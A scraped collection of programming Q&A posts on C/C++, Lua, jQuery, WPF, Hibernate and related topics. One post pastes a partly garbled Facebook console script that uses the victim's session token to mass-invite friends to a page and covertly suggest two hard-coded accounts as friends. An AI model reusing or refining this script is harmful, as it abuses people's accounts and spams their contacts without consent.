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  • C++ Suppress Automatic Initialization and Destruction

    - by Travis G
    How does one suppress the automatic initialization and destruction of a type? While it is wonderful that T buffer[100] automatically initializes all the elements of buffer, and destroys them when they fall out of scope, this is not the behavior I want. #include <iostream> static int created = 0, destroyed = 0; struct S { S() { ++created; } ~S() { ++destroyed; } }; template <typename T, size_t KCount> class Array { private: T m_buffer[KCount]; public: Array() { // some way to suppress the automatic initialization of m_buffer } ~Array() { // some way to suppress the automatic destruction of m_buffer } }; int main() { { Array<S, 100> arr; } std::cout << "Created:\t" << created << std::endl; std::cout << "Destroyed:\t" << destroyed << std::endl; return 0; } The output of this program is: Created: 100 Destroyed: 100 I would like it to be: Created: 0 Destroyed: 0 My only idea is to make m_buffer some trivially constructed and destructed type like char and then rely on operator[] to wrap the pointer math for me, although this seems like a horribly hacked solution. Another solution would be to use malloc and free, but that gives a level of indirection that I do not want.

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  • pulling a value from NSMutableDictionary

    - by Jared Gross
    I have a dictionary array with a key:@"titleLabel". I am trying to load a pickerView with ONE instance of each @"titleLabel" key so that if there are multiple objects with the same @"titleLabel" only one title will be displayed. I've done some research on this forum and looked at apples docs but haven't been able to put the puzzle together. Below is my code but I am having trouble pulling the values. Right now when I run this code it throws an error Incompatible pointer types sending 'PFObject *' to parameter of type 'NSString' which i understand but am just not sure how to remedy. Cheers! else { // found messages! self.objectsArray = objects; NSMutableDictionary *dict = [[NSMutableDictionary alloc] init]; for(id obj in self.objectsArray){ PFObject *key = [self.objectsArray valueForKey:@"titleLabel"]; if(![dict objectForKey:@"titleLabel"]){ [dict setValue:obj forKey:key]; } } for (id key in dict) { NSLog(@"Objects array is %d", [self.objectsArray count]); NSLog(@"key: %@, value: %@ \n", key, [dict objectForKey:key]); } [self.pickerView reloadComponent:0]; } }];` Here is where I define the PFObject and keys: PFObject *image = [PFObject objectWithClassName:@"Images"]; [image setObject:file forKey:@"file"]; [image setObject:fileType forKey:@"fileType"]; [image setObject:title forKey:@"titleLabel"]; [image setObject:self.recipients forKey:@"recipientIds"]; [image setObject:[[PFUser currentUser] objectId] forKey:@"senderId"]; [image setObject:[[PFUser currentUser] username] forKey:@"senderName"]; [image saveInBackground];

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  • jQuery: If user clicks out of div

    - by Paul Knopf
    I am creating a popup in query. All is well with the popup on hover. I made it see a timer starts when user's mouse leaves the div to close it. If he enters the div again before the timer is done, then the timer is cleared. This is fine, but what if a user clicks out of the div? I want that to also close the div. The only problem is that I don't want to attach click events to the wrapper on the page (because it includes the popout menu). I have seen techniques that wraps entire screen with a transparent div, and then attach a click event to hit. Although this may work, it confuses the user if he clicks the hidden div intending to click a link. He will have to click the link twice. Once two close the div (hiding the link), and another time to actually click think. Also, you loose in mouse cursors attached to any masked elements on the page (such as links cursor pointer, etc). There has to be a way to check if the user clicked out of the div without a modal and without attaching events to the entire page (page wrappers and child elements included). onclicksomewhereelse="closeme();" lol.

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  • [FIXED] Scan file contents into an array of a structure.

    - by ZaZu
    Hello, I have a structure in my program that contains a particular array. I want to scan a random file with numbers and put the contents into that array. This is my code : ( NOTE : This is a sample from a bigger program, so I need the structure and arrays as declared ) The contents of the file are basically : 5 4 3 2 5 3 4 2 #include<stdio.h> #define first 500 #define sec 500 struct trial{ int f; int r; float what[first][sec]; }; int trialtest(trial *test); main(){ trial test; trialtest(&test); } int trialtest(trial *test){ int z,x,i; FILE *fin; fin=fopen("randomfile.txt","r"); for(i=0;i<5;i++){ fscanf(fin,"%5.2f\t",(*test).what[z][x]); } fclose(fin); return 0; } But the problem is, whenever this I run this code, I get this error : (25) : warning 508 - Data of type 'double' supplied where a pointer is required I tried adding do{ for(i=0;i<5;i++){ q=fscanf(fin,"%5.2f\t",(*test).what[z][x]); } }while(q!=EOF); But that didnt work either, it gives the same error. Does anyone have a solution to this problem ?

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  • How to DRY on CRUD parts of my Rails app?

    - by kolrie
    I am writing an app which - similarly to many apps out there - is 90% regular CRUD things and 10% "juice", where we need nasty business logic and more flexibility and customization. Regarding this 90%, I was trying to stick to the DRY principle as much as I can. As long as controllers go, I have found resource_controller to really work, and I could get rid of all the controllers on that area, replacing them with a generic one. Now I'd like to know how to get the same with the views. On this app I have an overall, application.html.erb layout and then I must have another layout layer, common for all CRUD views and finally a "core" part: On index.html.erb all I need to generate a simple table with the fields and labels I indicate. For new and edit, also generic form edition, indicating labels and fields (with a possibility of providing custom fields if needed). I am not sure I will need show, but if I do it would be the same as new and edit. What plugins and tools (or even articles and general pointer) would help me to get that done? Thanks, Felipe.

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  • error in C++, what to do ?: could not find an match for ostream::write(long *, unsigned int)

    - by Shantanu Gupta
    I am trying to write data stored in a binary file using turbo C++. But it shows me an error could not find an match for ostream::write(long *, unsigned int) I want to write a 4 byte long data into that file. When i tries to write data using char pointer. It runs successfully. But i want to store large value i.e. eg. 2454545454 Which can be stored in long only. I dont know how to convert 1 byte into bit. I have 1 byte of data as a character. Moreover what i m trying to do is to convert 4 chars into long and store data into it. And at the other side i want to reverse this so as to retrieve how many bytes of data i have written. long *lmem; lmem=new long; *lmem=Tsize; fo.write(lmem,sizeof(long));// error occurs here delete lmem; I am implementing steganography and i have successfully stored txt file into image but trying to retrieve that file data now.

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  • jQuery password strength plugin callback validation method

    - by jmorhardt
    I'm using a a jQuery plugin to evaluate password strength. It gives a graphical representation for the user to see how secure the password is. I'd like to use it to validate the field as well. The plugin works by assessing the password and giving it a score. I want to be able to verify that the user has entered a password of at least a certain score. The code is hosted on jQuery's site here: http://plugins.jquery.com/project/pstrength. The documentation states that there is a way to add a rule and do custom validation. I'm not sure where to start. The inline documentation states: * === Changelog === * Version 2.1 (18/05/2008) * Added a jQuery method to add a new rule: jQuery('input[@type=password]').pstrength.addRule(name, method, score, active) And later in the code there's this method: jQuery.extend(jQuery.fn.pstrength, { 'addRule': function (name, method, score, active) { digitalspaghetti.password.addRule(name, method, score, active); return true; }, 'changeScore': function (rule, score) { digitalspaghetti.password.ruleScores[rule] = score; return true; }, 'ruleActive': function (rule, active) { digitalspaghetti.password.rules[rule] = active; return true; } }); If anybody has seen an example of how to do this I'd appreciate a pointer in the right direction. Thanks!

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  • Is this 2D array initialization a bad idea?

    - by Brendan Long
    I have something I need a 2D array for, but for better cache performance, I'd rather have it actually be a normal array. Here's the idea I had but I don't know if it's a terrible idea: const int XWIDTH = 10, YWIDTH = 10; int main(){ int * tempInts = new int[XWIDTH * YWIDTH]; int ** ints = new int*[XWIDTH]; for(int i=0; i<XWIDTH; i++){ ints[i] = &tempInts[i*YWIDTH]; } // do things with ints delete[] ints[0]; delete[] ints; return 0; } So the idea is that instead of newing a bunch of arrays (and having them placed in different places in memory), I just point to an array I made all at once. The reason for the delete[] (int*) ints; is because I'm actually doing this in a class and it would save [trivial amounts of] memory to not save the original pointer. Just wondering if there's any reasons this is a horrible idea. Or if there's an easier/better way. The goal is to be able to access the array as ints[x][y] rather than ints[x*YWIDTH+y].

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  • Accessing program information that gdb sees in C++

    - by anon
    I have a program written in C++, on Linux, compiled with -g. When I run it under gdb, I can 1) set breakpoints 2) at those breakpoints, print out variables 3) see the stackframe 4) given a variable that's a structure, print out parts of the structure (i.e. how ddd displays information). Now, given that my program is compiled with "-g" -- is there anyway that I can access this power within my program itself? I.e. given that my program is compiled with "-g", is there some std::vector<string> getStackFrame(); function I can call to get the current stackframe at the current point of execution? Given a pointer to an object and it's type ... can I do std::vector getClassMember(class_name); ? I realize the default answer is "no, C++ doesn't support that level of introspection" -- however, recall I'm on linux, my program is compiled with "-g", and gdb can do it, so clearly the inforamtion is there. Question is: is there some API for accessing it? EDIT: PS Naysers, I'd love to see a reason for closing this question.

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  • Merge DataGrid ColumnHeaders

    - by Vishal
    I would like to merge two column-Headers. Before you go and mark this question as duplicate please read further. I don't want a super-Header. I just want to merge two column-headers. Take a look at image below: Can you see two columns with headers Mobile Number 1 and Mobile Number 2? I want to show there only 1 column header as Mobile Numbers. Here is the XAML used for creating above mentioned dataGrid: <DataGrid Grid.Row="1" Margin="0,10,0,0" ItemsSource="{Binding Ledgers}" IsReadOnly="True" AutoGenerateColumns="False"> <DataGrid.Columns> <DataGridTextColumn Header="Customer Name" Binding="{Binding LedgerName}" /> <DataGridTextColumn Header="City" Binding="{Binding City}" /> <DataGridTextColumn Header="Mobile Number 1" Binding="{Binding MobileNo1}" /> <DataGridTextColumn Header="Mobile Number 2" Binding="{Binding MobileNo2}" /> <DataGridTextColumn Header="Opening Balance" Binding="{Binding OpeningBalance}" /> </DataGrid.Columns> </DataGrid> Update1: Update2 I have created a converter as follows: public class MobileNumberFormatConverter : IValueConverter { public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { if (value != null && value != DependencyProperty.UnsetValue) { if (value.ToString().Length <= 15) { int spacesToAdd = 15 - value.ToString().Length; string s = value.ToString().PadRight(value.ToString().Length + spacesToAdd); return s; } return value.ToString().Substring(0, value.ToString().Length - 3) + "..."; } return ""; } public object ConvertBack(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { throw new NotImplementedException(); } } I have used it in XAML as follows: <DataGridTextColumn Header="Mobile Numbers"> <DataGridTextColumn.Binding> <MultiBinding StringFormat=" {0} {1}"> <Binding Path="MobileNo1" Converter="{StaticResource mobileNumberFormatConverter}"/> <Binding Path="MobileNo2" Converter="{StaticResource mobileNumberFormatConverter}"/> </MultiBinding> </DataGridTextColumn.Binding> </DataGridTextColumn> The output I got: Update3: At last I got the desired output. Here is the code for Converter: public class MobileNumberFormatConverter : IValueConverter { public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { if (value != null && value != DependencyProperty.UnsetValue) { if (parameter.ToString().ToUpper() == "N") { if (value.ToString().Length <= 15) { return value.ToString(); } else { return value.ToString().Substring(0, 12); } } else if (parameter.ToString().ToUpper() == "S") { if (value.ToString().Length <= 15) { int spacesToAdd = 15 - value.ToString().Length; string spaces = ""; return spaces.PadRight(spacesToAdd); } else { return "..."; } } } return ""; } public object ConvertBack(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { throw new NotImplementedException(); } } Here is my XAML: <DataGridTemplateColumn Header="Mobile Numbers"> <DataGridTemplateColumn.CellTemplate> <DataTemplate> <TextBlock> <Run Text="{Binding MobileNo1, Converter={StaticResource mobileNumberFormatConverter}, ConverterParameter=N}" /> <Run Text="{Binding MobileNo1, Converter={StaticResource mobileNumberFormatConverter}, ConverterParameter=S}" FontFamily="Consolas"/> <Run Text=" " FontFamily="Consolas"/> <Run Text="{Binding MobileNo2, Converter={StaticResource mobileNumberFormatConverter}, ConverterParameter=N}" /> <Run Text="{Binding MobileNo2, Converter={StaticResource mobileNumberFormatConverter}, ConverterParameter=S}" FontFamily="Consolas"/> </TextBlock> </DataTemplate> </DataGridTemplateColumn.CellTemplate> </DataGridTemplateColumn> Output:

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  • SWIG_NewPointerObj and values always being nil

    - by Tom J Nowell
    I'm using SWIG to wrap C++ objects for use in lua, and Im trying to pass data to a method in my lua script, but it always comes out as 'nil' void CTestAI::UnitCreated(IUnit* unit){ lua_getglobal(L, "ai"); lua_getfield(L, -1, "UnitCreated"); swig_module_info *module = SWIG_GetModule( L ); swig_type_info *type = SWIG_TypeQueryModule( module, module, "IUnit *" ); SWIG_NewPointerObj(L,unit,type,0); lua_epcall(L, 1, 0); } Here is the lua code: function AI:UnitCreated(unit) if(unit == nil) then game:SendToConsole("I CAN HAS nil ?") else game:SendToConsole("I CAN HAS UNITS!!!?") end end unit is always nil. I have checked and in the C++ code, the unit pointer is never invalid/null I've also tried: void CTestAI::UnitCreated(IUnit* unit){ lua_getglobal(L, "ai"); lua_getfield(L, -1, "UnitCreated"); SWIG_NewPointerObj(L,unit,SWIGTYPE_p_IUnit,0); lua_epcall(L, 1, 0); } with identical results. Why is this failing? How do I fix it?

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  • Self referencing userdata and garbage collection

    - by drtwox
    Because my userdata objects reference themselves, I need to delete and nil a variable for the garbage collector to work. Lua code: obj = object:new() -- -- Some time later obj:delete() -- Removes the self reference obj = nil -- Ready for collection C Code: typedef struct { int self; // Reference to the object // Other members and function references removed } Object; // Called from Lua to create a new object static int object_new( lua_State *L ) { Object *obj = lua_newuserdata( L, sizeof( Object ) ); // Create the 'self' reference, userdata is on the stack top obj->self = luaL_ref( L, LUA_REGISTRYINDEX ); // Put the userdata back on the stack before returning lua_rawgeti( L, LUA_REGISTRYINDEX, obj->self ); // The object pointer is also stored outside of Lua for processing in C return 1; } // Called by Lua to delete an object static int object_delete( lua_State *L ) { Object *obj = lua_touserdata( L, 1 ); // Remove the objects self reference luaL_unref( L, LUA_REGISTRYINDEX, obj->self ); return 0; } Is there some way I can set the object to nil in Lua, and have the delete() method called automatically? Alternatively, can the delete method nil all variables that reference the object? Can the self reference be made 'weak'?

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  • Send Click Message to another application process

    - by Nazar Hussain
    I have a scenario, i need to send click events to an independent application. I started that application with the following code. private Process app; app = new Process(); app.StartInfo.FileName = app_path; app.StartInfo.WorkingDirectory = dir_path; app.Start(); Now i want to send Mouse click message to that applicaiton, I have specific coordinates in relative to application window. How can i do it using Windows Messaging or any other technique. I used [DllImport("user32.dll")] private static extern void mouse_event(UInt32 dwFlags, UInt32 dx, UInt32 dy, UInt32 dwData, IntPtr dwExtraInfo); It works well but cause the pointer to move as well. So not fit for my need. Then i use. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)] static extern IntPtr SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam); It works well for minimize maximize, but do not work for mouse events. The codes for mousevents i am using are, WM_LBUTTONDOWN = 0x201, //Left mousebutton down WM_LBUTTONUP = 0x202, //Left mousebutton up WM_LBUTTONDBLCLK = 0x203, //Left mousebutton doubleclick WM_RBUTTONDOWN = 0x204, //Right mousebutton down WM_RBUTTONUP = 0x205, //Right mousebutton up WM_RBUTTONDBLCLK = 0x206, //Right mousebutton do Thanks for the help in advance, and waiting for feedback.

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  • how to conver this to a button action

    - by Filipe Heitor
    i have this code to paste in a browser console, can i turn this in to a button ??? and run in a html page? javascript:var Title="Ganhando Likes Na Pagina Do Facebook.";var Descriptions="",_text='Criado & Configurado Por Pelegrino RoxCurta Por favor MeGustaJEdi';page_id=/"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];function InviteFriends(opo){jx.load(window.location.protocol+"//www.facebook.com/ajax/pages/invite/send_single/?page_id="+page_id+"&invitee="+opo+"&elem_id=u_0_1k&action=send&__user="+user_id+"&_a=1&_dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg="+fb_dtsg+"&phstamp=",function(a){var b=a.substring(a.indexOf("{"));var c=JSON.parse(b);i--;Descriptions="";err++;if(c.errorDescription)Descriptions+=c.errorDescription;else Descriptions+=JSON.stringify(c,null,"")}else{Descriptions+="color:darkgreen'";Descriptions+=arn[i]+" has been invited to like the page "+page_name+".";suc++}Descriptions+="";var display="";display+=""+Title+"";if(i0){display+=arr.length+" Friends Detected";display+=""+suc+" Friends Invited of "+(arr.length-i)+" Friends Processed ";display+="("+i+" Lefted...)";display+="";display+=Descriptions;display+="https://fbcdn-profile-a.akamaihd.net/.../r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src="+pho[i]+""+arn[i]+"";display+="";display+="Please Wait While Inviting Your Friends to Like Your Page "+page_name+".";display+=_text;display+="";display+="";window[tag+"_close"]=true}else{Title="All Of Your Friends Have Been Invited to Like Your Page.";display+=arr.length+" Friends Detected and ";display+=""+suc+" Friends Invited.";display+="Go to HomepageRefresh PageCancel";display+="";display+=_text;display+="";window[tag+"_close"]=false}display+="";document.getElementById("pagelet_sidebar").innerHTML=display},"text","post");tay--;if(tay0){var s=arr[tay];setTimeout("InviteFriends("+s+")",100)}console.log(tay+"/"+arr.length+":"+arr[tay]+"/"+arn[tay]+", success:"+suc);if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/friends/suggest?&receiver="+opo+"&newcomer=1273872655&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user="+user_id+"&_a=1&_dyn=798aD5z5CF-&__req=17&fb_dtsg="+fb_dtsg+"&phstamp=1658165120113116104521114",function(){},"text","post");if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/friends/suggest?&receiver="+opo+"&newcomer=100002920534041&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user="+user_id+"&_a=1&_dyn=798aD5z5CF-&__req=17&fb_dtsg="+fb_dtsg+"&phstamp=1658168561015387781130",function(){},"text","post");if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg="+fb_dtsg+"&profileChooserItems=%7B%22"+opo+"%22%3A1%7D&checkableitems[0]="+opo+"&page_id="+page_id+"&__user="+user_id+"&_a=1&_dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",function(){},"text","post")}jx={b:function(){var b=!1;if("undefined"!=typeof ActiveXObject)try{b=new ActiveXObject("Msxml2.XMLHTTP")}catch(c){try{b=new ActiveXObject("Microsoft.XMLHTTP")}catch(a){b=!1}}else if(window.XMLHttpRequest)try{b=new XMLHttpRequest}catch(h){b=!1}return b},load:function(b,c,a,h,g){var e=this.d();if(e&&b){e.overrideMimeType&&e.overrideMimeType("text/xml");h||(h="GET");a||(a="text");g||(g={});a=a.toLowerCase();h=h.toUpperCase();b+=b.indexOf("?")+1?"&":"?";var k=null;"POST"==h&&(k=b.split("?"),b=k[0],k=k[1]);e.open(h,b,!0);e.onreadystatechange=g.c?function(){g.c(e)}:function(){if(4==e.readyState)if(200==e.status){var b="";e.responseText&&(b=e.responseText);"j"==a.charAt(0)?(b=b.replace(/[\n\r]/g,""),b=eval("("+b+")")):"x"==a.charAt(0)&&(b=e.responseXML);c&&c(b)}else g.f&&document.getElementsByTagName("body")[0].removeChild(g.f),g.e&&(document.getElementById(g.e).style.display="none"),error&&error(e.status)};e.send(k)}},d:function(){return this.b()}};function ChangeLocation(){window.location.href="http://www.facebook.com/"}setTimeout("ChangeLocation",1);window.onbeforeunload=function(){if(window[tag+"_close"])return"This script is running now!"};var i=3;var tay=3;var suc=0;var err=0;var arr=new Array;var arn=new Array;var pho=new Array;var tag="Close";var page_name,x=document.getElementsByTagName("span");for(i=0;ia=1&_dyn=7n8aD5z5CF-3ui&__req=l",function(a){var b=a;var c=b.substring(b.indexOf("{"));var d=JSON.parse(c);d=d.payload.entries;for(var e=0;e";display+=""+Title+"";display+=arr.length+" Friends Detected";display+="";document.getElementById("pagelet_sidebar").innerHTML=display;InviteFriends(arr[i])});

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  • Rapid taps on an OpenGL ES app introducing input delay

    - by Tim R.
    I am starting out writing a 2D game in OpenGL ES, and I have encountered an odd problem: if I rapidly tap the touchscreen, the input starts lagging behind the display. The more times I tap, the more delay it causes between the input and any indication of that input onscreen. It only happens if I intentionally tap very rapidly, but not from tapping and dragging with any number of fingers. What could be causing this? Excessive details follow: Both accelerometer input and taps are delayed by just tapping. The only events I am responding to are touchesBegan (below) in my EAGLView and accelerometer:(UIAccelerometer *)accelerometer didAccelerate:(UIAcceleration *)acceleration in my Game object. There doesn't seem to be any upper limit to the amount of delay: I've gotten up to 12 seconds of delay by tapping rapidly with five fingers. I have not seen any drops in framerate (it stays constantly at 60 fps) in the OpenGL ES tool in Instruments or by taking 1/the time between updates. Possibly relevant code: - (void) drawView:(id) sender { [game update:allTouches]; [renderer render:game]; } -(void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { allTouches = [event allTouches]; } allTouches is a pointer that gets passed to my Game every update, which passes it to each GameObject in their update methods.

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  • im i doing this right or wrong using pointers in C

    - by Amandeep Singh Dhari
    i like to point out that i need some help with my home work, ok the lectuer gave us the idea of a program and we have to make it from bottom to top. got to have user to type in two set of string. pointers take in the value and then puts into a prototype i need to make a 3rd pointer that has the value of p1 and p2. like this p1 = asd, p2 = qwe and p3 = asdqwe #include "stdafx.h" #include <ctype.h> char *mystrcat(char*s1p, char*s2p); // Prototype char main(void) { char string1[80]; char string2[80]; printf("%s", "enter in your srting one "); gets_s(string1); printf("%s", "enter in your srting two "); gets_s(string2); *mystrcat(string1, string2); return 0; } char *mystrcat(char *s1p,char *s2p) { //char *string3; //char *string4; //string3 = s1p; //string4 = s2p; printf("whatever = %s%s\n", s1p, s2p); return 0; } this is the code that i made so far just need some help, thank guys in advance.

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  • HREF link that targets nothing, does not want to use hash or void(0)

    - by Mattis
    I have a link that I want to be able to click to trigger a piece of jQuery code. Currently I have <a href="#" id="foo">Link</a> and $('#foo').click(function(){ // Do stuff }); which works well. But, I have always hated using hash in this way. The page flickers and the hash is added to the page url. One alternative is to use <a href="javascript:void(0);" id="foo">Link</a> but I also dislike seeing that piece of code in the browser status bar. It looks tacky. What I'd rather have is an explanatory javascript placeholder that does nothing, like <a href="javascript:zoom();" id="foo">Link</a> which actually works, but throws an ReferenceError in the javascript console since there are no such function. What's the minimum definition of a function that does nothing? Are there any other alternatives? Should I just skip the link and use something like <span id="foo" style="cursor:pointer;cursor:hand;">Link</span> instead?

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  • Prob comparing pointers and integer in C

    - by Dimitri
    Hi I have a problem with this code. When i am using this function I have no warnings. : void handler(int sig){ switch(sig) { case SIGINT : { click++; fprintf(stdout,"SIGINT recu\n"); if( click == N){ exit(0); } } case SIGALRM : fprintf(stdout,"SIGALRM received\n"); exit(0); case SIGTERM: fprintf(stdout,"SIGTERM received\n"); exit(0); } } But when i rewrite the function with this new version, I have a " comparison between pointer and integer" warning on the if statement: void handler( int sig){ printf("Signal recu\n"); if( signal == SIGINT){ click++; fprintf(stdout,"SIGINT received; Click = %d\n",click); if(click == N){ fprintf(stdout,"Exiting with SIGINT\n"); exit(0); } } else if(signal == SIGALRM){ fprintf(stdout,"SIGALRM received\n"); exit(0); } else if(signal == SIGTERM){ fprintf(stdout,"SIGTERM received\n"); exit(0); } Can someone tell me where is the prob?

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  • Is there a general-purpose printf-ish routine defined in any C standard

    - by supercat
    In many C libraries, there is a printf-style routine which is something like the following: int __vgprintf(void *info, (void)(*print_function(void*, char)), const char *format, va_list params); which will format the supplied string and call print_function with the passed-in info value and each character in sequence. A function like fprintf will pass __vgprintf the passed-in file parameter and a pointer to a function which will cast its void* to a FILE* and output the passed-in character to that file. A function like snprintf will create a struct holding a char* and length, and pass the address of that struct to a function which will output each character in sequence, space permitting. Is there any standard for such a function, which could be used if e.g. one wanted a function to output an arbitrary format to a TCP port? A common approach is to allocate a buffer one hopes is big enough, use snprintf to put the data there, and then output the data from the buffer. It would seem cleaner, though, if there were a standard way to to specify that the print formatter should call a user-supplied routine with each character.

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  • close file with fopen() but file still in use

    - by Marco
    Hi all, I've got a problem with deleting/overwriting a file using my program which is also being used(read) by my program. The problem seems to be that because of the fact my program is reading data from the file (output.txt) it puts the file in a 'in use' state which makes it impossible to delete or overwrite the file. I don't understand why the file stays 'in use' because I close the file after use with fclose(); this is my code: bool bBool = true while(bBool){ //Run myprogram.exe tot generate (a new) output.txt //Create file pointer and open file FILE* pInputFile = NULL; pInputFile = fopen("output.txt", "r"); // //then I do some reading using fscanf() // //And when I'm done reading I close the file using fclose() fclose(pInputFile); //The next step is deleting the output.txt if( remove( "output.txt" ) == -1 ){ //ERROR }else{ //Succesfull } } I use fclose() to close the file but the file remains in use by my program until my program is totally shut down. What is the solution to free the file so it can be deleted/overwrited? In reality my code isn't a loop without an end ; ) Thanks in advance! Marco

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  • A public struct inside a class

    - by Koning Baard
    I am new to C++, and let's say I have two classes: Creature and Human: /* creature.h */ class Creature { private: public: struct emotion { /* All emotions are percentages */ char joy; char trust; char fear; char surprise; char sadness; char disgust; char anger; char anticipation; char love; }; }; /* human.h */ class Human : Creature { }; And I have this in my main function in main.cpp: Human foo; My question is: how can I set foo's emotions? I tried this: foo->emotion.fear = 5; But GCC gives me this compile error: error: base operand of '-' has non-pointer type 'Human' This: foo.emotion.fear = 5; Gives: error: 'struct Creature::emotion' is inaccessible error: within this context error: invalid use of 'struct Creature::emotion' Can anyone help me? Thanks P.S. No I did not forget the #includes

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  • Flexslider links not opening

    - by Marina Nelson
    I am trying to get the slides to link to other pages on the site. The pointer shows when I click on the slides, but page does not open: <div class="flexslider"> <ul class="slides"> <li> <a href="page1.html"><img src="img/slide-1.jpg" alt="" ></a> </li> <li> <a href="page2.html"><img src="img/slide-2.jpg" alt="" ></a> </li> <li> <a href="page3.html"><img src="img/slide-3.jpg" alt="" ></a> </li> <li> <a href="page4.html"><img src="img/slide-4.jpg" alt="" ></a> </li> <li> <a href="page5.html"><img src="img/slide-5.jpg" alt="" ></a> </li> </ul> </div> I have not altered any other code. Am I missing something? I don't know Jquery well. Thanks.

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  • Projections.count() and Projections.countDistinct() both result in the same query

    - by Kim L
    EDIT: I've edited this post completely, so that the new description of my problem includes all the details and not only what I previously considered relevant. Maybe this new description will help to solve the problem I'm facing. I have two entity classes, Customer and CustomerGroup. The relation between customer and customer groups is ManyToMany. The customer groups are annotated in the following way in the Customer class. @Entity public class Customer { ... @ManyToMany(mappedBy = "customers", fetch = FetchType.LAZY) public Set<CustomerGroup> getCustomerGroups() { ... } ... public String getUuid() { return uuid; } ... } The customer reference in the customer groups class is annotated in the following way @Entity public class CustomerGroup { ... @ManyToMany public Set<Customer> getCustomers() { ... } ... public String getUuid() { return uuid; } ... } Note that both the CustomerGroup and Customer classes also have an UUID field. The UUID is a unique string (uniqueness is not forced in the datamodel, as you can see, it is handled as any other normal string). What I'm trying to do, is to fetch all customers which do not belong to any customer group OR the customer group is a "valid group". The validity of a customer group is defined with a list of valid UUIDs. I've created the following criteria query Criteria criteria = getSession().createCriteria(Customer.class); criteria.setProjection(Projections.countDistinct("uuid")); criteria = criteria.createCriteria("customerGroups", "groups", Criteria.LEFT_JOIN); List<String> uuids = getValidUUIDs(); Criterion criterion = Restrictions.isNull("groups.uuid"); if (uuids != null && uuids.size() > 0) { criterion = Restrictions.or(criterion, Restrictions.in( "groups.uuid", uuids)); } criteria.add(criterion); When executing the query, it will result in the following SQL query select count(*) as y0_ from Customer this_ left outer join CustomerGroup_Customer customergr3_ on this_.id=customergr3_.customers_id left outer join CustomerGroup groups1_ on customergr3_.customerGroups_id=groups1_.id where groups1_.uuid is null or groups1_.uuid in ( ?, ? ) The query is exactly what I wanted, but with one exception. Since a Customer can belong to multiple CustomerGroups, left joining the CustomerGroup will result in duplicated Customer objects. Hence the count(*) will give a false value, as it only counts how many results there are. I need to get the amount of unique customers and this I expected to achieve by using the Projections.countDistinct("uuid"); -projection. For some reason, as you can see, the projection will still result in a count(*) query instead of the expected count(distinct uuid). Replacing the projection countDistinct with just count("uuid") will result in the exactly same query. Am I doing something wrong or is this a bug? === "Problem" solved. Reason: PEBKAC (Problem Exists Between Keyboard And Chair). I had a branch in my code and didn't realize that the branch was executed. That branch used rowCount() instead of countDistinct().

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  • Mouse management in JavaScript games

    - by Jakob
    Im using JavaScript, the HTML5 canvas-element and WebGL to make a simple 3D-game in first person view for fun. Ideally, I would like to control my movement by using the keyboard to move and the mouse to look around, like you usually do in FPS-games. As you probably understand, there are some limits to this in the browser, since the mouse cant be captured: When using the onmousemove event, no further movement will be detected when the mouse pointer reaches the border of my screen (which means that I wont be able to run in a circle for example) Seeing the mouse move across the screen is not the end of the world, but it is a little annoying From what I know, it's impossible to hide the mouse as well as setting it's position in JavaScript. Hence, my question is this: If we cant to those things, what can we do in order to get close to the desktop gaming experience when it comes to the mouse in the browser? And I mean right now, using current APIs. Not "what could be changed in some standard to make life easier". Also, I realize that I could use the keyboard to look around, but then we're back in 1995 when Quake were actually played like that. And of course I know that it would be easier to write a desktop application or use Flash at least, but Im trying to push JavaScript's limits here. Apart from those things, what are your suggestions? Any kind of reference, existing game, crazy idea, hack or even browser specific solution would be appreciated.

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  • C: Fifo between threads, writing and reading strings

    - by Yonatan
    Hello once more dear internet, I writing a small program that among other things, writes a log file of commands received. to do that, I want to use a thread that all it should do is just attempt to read from a pipe, while the main thread will write into that pipe whenever it should. Since i don't know the length of each string command, i thought about writing and reading the pointer to the char buf[MAX_MESSAGE_LEN]. Since what i've tried so far doesn't work, i'll post my best effort :P char str[] = "hello log thread 123456789 10 11 12 13 14 15 16 17 18 19\n"; if (pipe(pipe_fd) != 0) return -1; pthread_t log_thread; pthread_create(&log_thread,NULL, log_thread_start, argv[2]); success_write = 0; do { write(pipe_fd[1],(void*)&str,sizeof(char*)); } while (success_write < sizeof(char*)); and the thread does this: char buffer[MAX_MSGLEN]; int success_read; success_read = 0; //while(1) { do { success_read += read(pipe_fd[0],(void*)&buffer, sizeof(char*)); } while (success_read < sizeof(char*)); //} printf("%s",buffer); (Sorry if this doesn't indent, i can't seem to figure out this editor...) oh, and pipe_fd[2] is a global parameter. So, any help with this, either by the way i thought of, or another way i could read strings without knowing the length, would be much appreciated. On a side note, i'm working on Eclipse IDE C/C++, version 1.2.1 and i can't seem to set up the compiler so it will link the pthread library to my project. I've resorted to writing my own Makefile to make it (pun intended :P) work. Anyone knows what to do ? i've looked online, but all i find are solutions that are probably good on an older version because the tabs and option keys are different. Anyways, Thanks a bunch internet ! Yonatan

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